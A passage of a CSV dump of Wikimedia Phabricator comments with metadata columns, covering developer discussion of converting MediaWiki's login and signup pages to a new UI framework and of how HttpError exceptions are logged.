+> @Tgr The required flag for password doesn't seem to be fixed on master :(. Do you want me to file a task for it?
+
+Sorry! I will look into it for reals once we are over the merge/backport craziness.",,,1463476184,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,3,True,,,45,True,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,1,0,0,1,1,1,1,0,1,1,0,0,1,1,0,0,0,1
+663215,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),"AuthManager is merged and no longer a blocker, woo!
+
+@Volker_E Would you be able/willing to take over https://gerrit.wikimedia.org/r/#/c/284902/ and finish it? (Get rid of all the CSS rules that no longer apply, and add new ones to make the forms pretty.)
+
+@Tgr The required flag for password doesn't seem to be fixed on master :(. Do you want me to file a task for it?",,,1463433513,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,3,True,,,45,True,1,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,1,1,1,1,0,1,0,0
+651389,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),">>! In T85853#2236266, @matmarex wrote:
+> Right. However, the send-temporary-password-via-email provider (TemporaryPasswordPrimaryAuthenticationProvider, apparently) is not available to be used by anonymous users for account creation. So, when an anonymous user is creating an account, the only provider that should matter is LocalPasswordPrimaryAuthenticationProvider, and that one obviously requires a password.
+
+You are right, that should work. I'll look into it.
+
+> I poked around a little and it seems like there are at least two reasonable ways we could do this. Can you say why they can't work? :) Both seem a bit hacky, but acceptable to me. (These patches apply on top of https://gerrit.wikimedia.org/r/#/c/284902/ / 1891ca9b027b9c9b3bf87e51708e5cd34d980ee1.)
+
+The hardcoding the required flag would break registration methods which do not need a password (e.g. registering with a Facebook account). AuthManager is too generic to special-case for this, plus I don't think that part needs fixing - TemporaryPasswordPrimaryAuthenticationProvider does not return any request when the user is not logged in, so the  PasswordAuthenticationRequest is the only one that contains the password field, so AuthManager::getAuthenticationRequestsInternal should flip its required flag to REQUIRED and then AuthenticationRequest::mergeFieldInfo and AuthManagerSpecialPage::fieldInfoToFormDescriptor should change that into a form field definition with required => true. There is probably a bug in that somewhere.",,,1461611773,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,3,True,,,42,True,1,0,0,1,1,1,1,0,0,0,1,1,0,1,1,1,1,1,1,0,1,1,0,0,1,1,0,1,1,1,0,1,1,1,1,1,1,0,1,1,0,1,0,1,1,1,0,1,1,1,1,1,0,0,0,0,0,1,1,0,1,0,0,1,1,1,1,1,1,1,1,1,1,0,1,1,0,1,1,1,0,1,1,1,1,0,1,1,1,1,1,1,1,0,1,1
+651347,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),"Right. However, the send-temporary-password-via-email provider (TemporaryPasswordPrimaryAuthenticationProvider, apparently) is not available to be used by anonymous users for account creation. So, when an anonymous user is creating an account, the only provider that should matter is LocalPasswordPrimaryAuthenticationProvider, and that one obviously requires a password.
+
+I poked around a little and it seems like there are at least two reasonable ways we could do this. Can you say why they can't work? :) Both seem a bit hacky, but acceptable to me. (These patches apply on top of https://gerrit.wikimedia.org/r/#/c/284902/ / 1891ca9b027b9c9b3bf87e51708e5cd34d980ee1.)
+
+* {F3929596}
+* {F3929597}",,,1461609010,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,3,True,,,42,True,0,0,0,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,0,1,1,0,0,1,0,0,1,1,0,0,1,0,1,1,1,1,0,1,1,0,1,0,1,1,0,0,1,1,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,1,1,1,1,1,1,1,0,1,0,0,1,1,1,0,1,1,1,1,0,0,1,1,1,1,1,1,0,1,0
+650513,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),"Thanks for looking into this!
+
+Required field handling is a weakness of the new system. There are two kinds of authentication plugins: primary providers tell who the user is (or create it), other providers perform extra checks (captcha, password reset etc). For an authentication success to succeed, all non-primary providers need to accept and one primary needs to accept (since primaries are competing authentication methods, like password login and Google OAuth login).
+
+Providers can tell what fields they need and whether they are required; multiple providers can share the same field (e.g. local username/password, CentralAuth and LDAP login all use the same fields). A field will be marked as required is it is marked so by some non-primary provider, or by all primary providers.
+
+Since the ""create a random password and send it to the given email address"" workflow does not require a password, the corresponding primary provider does not mark the field and it ends up as optional. (Toggling the ""send in email"" option will remove the field so it could be left required, but there is no way to express that.)
+
+There is a hook for messing with form settings, so it's easy to re-add the required flag for a specific installation, but I'm not sure if it can be done in a generic way.",,,1461454892,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,3,True,,,42,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,1,0,0,1,0,0,1,1,0,1,1,1,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+650512,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),"Thanks for looking into this!
+
+Required field handling is a weakness of the new system. There are two kinds of authentication plugins: primary providers tell who the user is (or create it), other providers perform extra checks (captcha, password reset etc). For an authentication success to succeed, all non-primary providers need to accept and one primary needs to accept (since primaries are competing authentication methods, like password login and Google OAuth login).
+
+Providers can tell what fields they need and whether they are required; multiple providers can share the same field (e.g. local username/password, CentralAuth and LDAP login all use the same fields). A field will be marked as required is it is marked so by some non-primary provider, or by all primary providers.
+
+Since the ""create a random password and send it to the given email address"" workflow does not require a password, the corresponding primary provider does not mark the field and it ends up as optional. (Toggling the ""send in email"" option will remove the field so it could be left required, but there is no way to express that.)
+
+There is a hook for messing with form settings, so it's easy to re-add the flag for a specific installation, but I'm not sure if it can be done in a generic way.",,,1461454871,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,3,True,,,42,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,1,0,0,1,0,0,1,1,0,1,1,1,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+650340,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),"Hmm, no idea. I presume it is a bug. The password can be optional in some workflows (when the send-temporary-password-via-email checkbox as seen in the last screenshot is checked, or perhaps in some different authentication methods), but I don't think it is optional in that one.",,,1461380848,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,3,True,,,42,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,1,0,1,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0
+650848,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),"Thanks for that effort, a small question to start with, why doesn't the password field have a required indicator on “Create account” screen?",,,1461560468,,PHID-USER-caadsxn4xg5gmxrpn6kz,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,3,True,,,42,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0
+650304,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),"Thanks for that effort, a small question to star with, why doesn't the password field have a required indicator on “Create account” screen?",,,1461367312,,PHID-USER-caadsxn4xg5gmxrpn6kz,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,3,True,,,42,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0
+650065,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),">>! In T85853#2201537, @Tgr wrote:
+> The relevant part is `LoginSignupSpecialPage::mainLoginForm`. It uses a vform because it looks very broken in ooui; anyone willing to tweak that is welcome :) (`$wgDisableAuthManager = false;` needs to be set to test it.)
+
+I gave it a try (see patch above) and it was pretty easy to make it reasonable. Some things still look broken due to the weird mix of old mediawiki.ui and new OOjs UI styles, and some seems to be bugs in OOUIHTMLForm, and I didn't really feel like looking into those this morning, but I will at some point. (Unless perhaps @Volker_E does it first ;) )
+
+Some quick screenshots:
+
+| Before | {F3910474} | {F3910479} | {F3910499} | {F3910489} |
+| -- |
+| After | {F3910408} | {F3910412} | {F3910440} | {F3910449} |
+| -- |
+
+Notable changes:
+* The forms fields are going to be a bit wider (to match the spacier style of OOjs UI, and to accomodate wide captchas which are now sometimes ""sticking out"" of the form, there should be a bug about this somewhere).
+* Buttons are no longer full-width (it would look even sillier with the wider form).
+* Some text is now hidden behind {F3910660,layout=inline,size=full} icons.",,,1461336417,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,3,True,,,42,True,1,1,1,1,1,1,1,1,0,1,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,0,0,1,0,1,0,1,1,1,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,1,1,1,0,0,0,1,0,1,1,1,1,1,1,0,1,1,0,1,0,0,0,1,1,1,0,1,1,1,0,1,1,0,1,1,0,1
+650064,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),"Change 284902 had a related patch set uploaded (by Bartosz Dziewoński):
+[WIP] LoginSignupSpecialPage: Convert form to OOUI
+
+[[https://gerrit.wikimedia.org/r/284902]]
+",,,1461336200,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,3,False,,,42,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+644698,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),">>! In T85853#2101523, @matmarex wrote:
+> There is actually work happening on T12317 now (as a side-effect of T110277) and it might be done before the end of March, yay (per comments on https://gerrit.wikimedia.org/r/#/c/240052/). So I say let's wait. :)
+
+The relevant part is `LoginSignupSpecialPage::mainLoginForm`. It uses a vform because it looks very broken in ooui; anyone willing to tweak that is welcome :) (`$wgDisableAuthManager = false;` needs to be set to test it.)",,,1460501313,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,3,True,,,40,True,0,1,1,1,0,1,1,1,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,1,1,0,1,0,0,0,1,1,1,0,0,1,1,1,0,1,0,1,0,0,1
+625999,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),"Yes. There are two ways we could do this:
+* Spend a ton of effort to change this now, which will all have been for naught when T12317 happens. (My patch above tried this, but it only changes the login form, not touching the signup form at all.)
+* Wait for somebody else to spend a ton of effort doing T12317, and then ride on top of their work and change this easily.
+
+There is actually work happening on T12317 now (as a side-effect of T110277) and it might be done before the end of March, yay (per comments on https://gerrit.wikimedia.org/r/#/c/240052/). So I say let's wait. :)",,,1457481413,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,3,True,,,35,True,1,1,0,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,1,1,0,0,0,1,0,0,1,1,1,1,1,0,1,1,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,1,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,1,0,0,1,1,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+625960,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),"@matmarex What are the blockers here, still the same as laid out [[ https://phabricator.wikimedia.org/T85853#974904 | above ]]?",,,1457478288,,PHID-USER-caadsxn4xg5gmxrpn6kz,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,3,True,,,35,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,1,0,0,0,0,0,1
+621534,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),"Change 183390 abandoned by Bartosz Dziewoński:
+[WIP] Convert login form to OOUI
+
+Reason:
+OK, no, finishing this properly is still not worth it.
+
+[[https://gerrit.wikimedia.org/r/183390]]",,,1456939372,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,3,False,,,34,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1
+621480,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),"Change 183390 restored by Bartosz Dziewoński:
+[WIP] Convert login form to OOUI
+
+Reason:
+Eeeeehh
+
+[[https://gerrit.wikimedia.org/r/183390]]",,,1456936369,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,3,False,,,34,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+399430,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),"> we shouldn't be doing this now
+
+In that case feel free to lower the priority value of this task",,,1421237449,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,1,True,,,-25,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,1
+399254,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),"I talked about this with people and the general agreement is that we shouldn't be doing this now. It would cause issues with extensions that modify the login form, the code sucks, and generally this really stinks. Let's try it again when the login form is a HTMLForm (T12317).",,,1421194579,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,1,True,,,-25,True,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,0,1,0,1,0,0,0,0,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+399253,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),"Change 183390 abandoned by Bartosz Dziewoński:
+[WIP] Convert login form to OOUI
+
+[[https://gerrit.wikimedia.org/r/183390]]",,,1421194518,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,1,False,,,-25,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+396450,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),"Change 183390 had a related patch set uploaded (by Bartosz Dziewoński):
+[WIP] Convert login form to OOUI
+
+[[https://gerrit.wikimedia.org/r/183390]]
+
+#patch-for-review",,,1420672709,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,1,False,,,-26,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+85795,HttpError should not be logged as an unhandled exception.,"HttpError is a way to signal an issue to the client, it does not generally imply a programming error or failure on the server side (at least for status codes < 500). Thus, writing it to ""the exception log"" with wfDebugLog( 'exception', ... ) is misleading. 
+
+I suggest the following behavior: 
+* HttpError::isLoggable should return false if $this->httpCode < 500.
+* HttpError::report should write to the web server error log (via wfLogWarning or error_log) if $this->httpCode >= 400
+
+Alternatively, MWExceptionHandler::logException could implement a special case for HttpError, using a different log stream, i.e. ""http-error"" instead of the generic ""exception"" log. To avoid the special case in MWExceptionHandler, MWException could get a getLogStream() method that would return ""exception"" per default.",Needs Triage,90.0,1420465532,1426705982.0,PHID-USER-5dqihbanu3caaj7pigif,False,PHID-USER-2mey32xhshfnf7rz7jjn,False,PHID-TASK-cgood7sc62oac3adwbux,task_description,resolved,True,c3,1,True,False,True,-26,True,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,1,1,1,0,1,1,0,0,0,0,0,0,1,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,1
+428494,HttpError should not be logged as an unhandled exception.,"Change 183020 merged by jenkins-bot:
+Don't log HttpErrors in the exception log, use MWLogger
+
+[[https://gerrit.wikimedia.org/r/183020]]",,,1426694449,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cgood7sc62oac3adwbux,task_subcomment,,True,c3,1,False,,,-16,True,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+428483,HttpError should not be logged as an unhandled exception.,"Change 197503 merged by Legoktm:
+Log HttpErrors with a 500  code
+
+[[https://gerrit.wikimedia.org/r/197503]]",,,1426693431,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cgood7sc62oac3adwbux,task_subcomment,,True,c3,1,False,,,-16,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+428290,HttpError should not be logged as an unhandled exception.,"Change 197503 had a related patch set uploaded (by Hoo man):
+Log HttpErrors with a 500  code
+
+[[https://gerrit.wikimedia.org/r/197503]]
+",,,1426674262,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cgood7sc62oac3adwbux,task_subcomment,,True,c3,1,False,,,-16,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+396339,HttpError should not be logged as an unhandled exception.,">>! In T85795#960163, @Legoktm wrote:
+>>>! In T85795#960109, @JanZerebecki wrote:
+>> The goal is that everything that is logged can be easily differentiated according to its severity. Like fatals/errors/warnings/notices vs things that might be helpful for debugging something but are normal operation. A 404 of this case is the later case. AFAIK in Mediawiki the log group is the only thing that can be currently used for this.
+> 
+> Actually, we now have structured logging in MW: `MWLogger::getInstance('HttpError')` will return an instance of `Psr\Log\LoggerInterface` that you can use. You can also set a minimum log severity level in $wgDebugLogGroups (unsure if that has been deployed yet though).
+
+The severity filter stuff will hit group0 today. \o/ No config updates have been done to use it yet.",,,1420658816,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-cgood7sc62oac3adwbux,task_subcomment,,True,c3,1,True,,,-26,True,0,1,0,1,0,1,1,0,1,1,1,0,0,1,0,1,1,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,1,0,1,0,1,1,0,1,0,1,1,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,1,1,0,1,1,0,1,0,0,1
+396281,HttpError should not be logged as an unhandled exception.,">>! In T85795#960109, @JanZerebecki wrote:
+> The goal is that everything that is logged can be easily differentiated according to its severity. Like fatals/errors/warnings/notices vs things that might be helpful for debugging something but are normal operation. A 404 of this case is the later case. AFAIK in Mediawiki the log group is the only thing that can be currently used for this.
+
+Actually, we now have structured logging in MW: `MWLogger::getInstance('HttpError')` will return an instance of `Psr\Log\LoggerInterface` that you can use. You can also set a minimum log severity level in $wgDebugLogGroups (unsure if that has been deployed yet though).
+",,,1420654141,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-cgood7sc62oac3adwbux,task_subcomment,,True,c3,1,True,,,-26,True,0,1,0,1,0,1,1,0,1,1,1,0,0,1,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,1,1,0,1,1,0,1,0,0,1
+396266,HttpError should not be logged as an unhandled exception.,"The goal is that everything that is logged can be easily differentiated according to its severity. Like fatals/errors/warnings/notices vs things that might be helpful for debugging something but are normal operation. A 404 of this case is the later case. AFAIK in Mediawiki the log group is the only thing that can be currently used for this.
+To have isLoggable() return false but then have the exception log itself inside report() is more of a workaround for the lack of being able to specify the log group. How about having logGroups() in MWException which MWExceptionHandler then uses instead of isLoggable() to determine to log the exception to the normal exception channel?",,,1420653258,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-cgood7sc62oac3adwbux,task_subcomment,,True,c3,1,True,,,-26,True,0,1,0,1,0,1,1,0,0,0,1,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,1,1,0,0,1,1,1,1,0,0,0,0,1,0,0,1,1,0,1,0,1,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,1,1,0,0
+395788,HttpError should not be logged as an unhandled exception.,Thx. No wonder searching for type in that file didn't find where it was set to HttpError.,,,1420565761,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-cgood7sc62oac3adwbux,task_subcomment,,True,c3,1,True,,,-26,True,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+395783,HttpError should not be logged as an unhandled exception.,">>! In T85795#957697, @JanZerebecki wrote:
+> I can't figure out why currently these show up in logstash as type:HttpError instead of type:exception. Any ideas?
+
+It happens from the exception-json event processing. See <https://github.com/wikimedia/operations-puppet/blob/production/files/logstash/filter-mw-via-udp2log.conf#L279-L301>",,,1420565282,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-cgood7sc62oac3adwbux,task_subcomment,,True,c3,1,True,,,-26,True,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,0,0,0,1
+395778,HttpError should not be logged as an unhandled exception.,I can't figure out why currently these show up in logstash as type:HttpError instead of type:exception. Any ideas?,,,1420564891,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-cgood7sc62oac3adwbux,task_subcomment,,True,c3,1,True,,,-26,True,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,0
+395674,HttpError should not be logged as an unhandled exception.,"Change 183020 had a related patch set uploaded (by Hoo man):
+Don't log HttpErrors in the exception log
+
+[[https://gerrit.wikimedia.org/r/183020]]
+
+#patch-for-review",,,1420544378,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cgood7sc62oac3adwbux,task_subcomment,,True,c3,1,False,,,-26,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+395266,HttpError should not be logged as an unhandled exception.,This came up during https://gerrit.wikimedia.org/r/#/c/182750/ T76458.,,,1420473861,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-cgood7sc62oac3adwbux,task_subcomment,,True,c3,1,True,,,-26,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
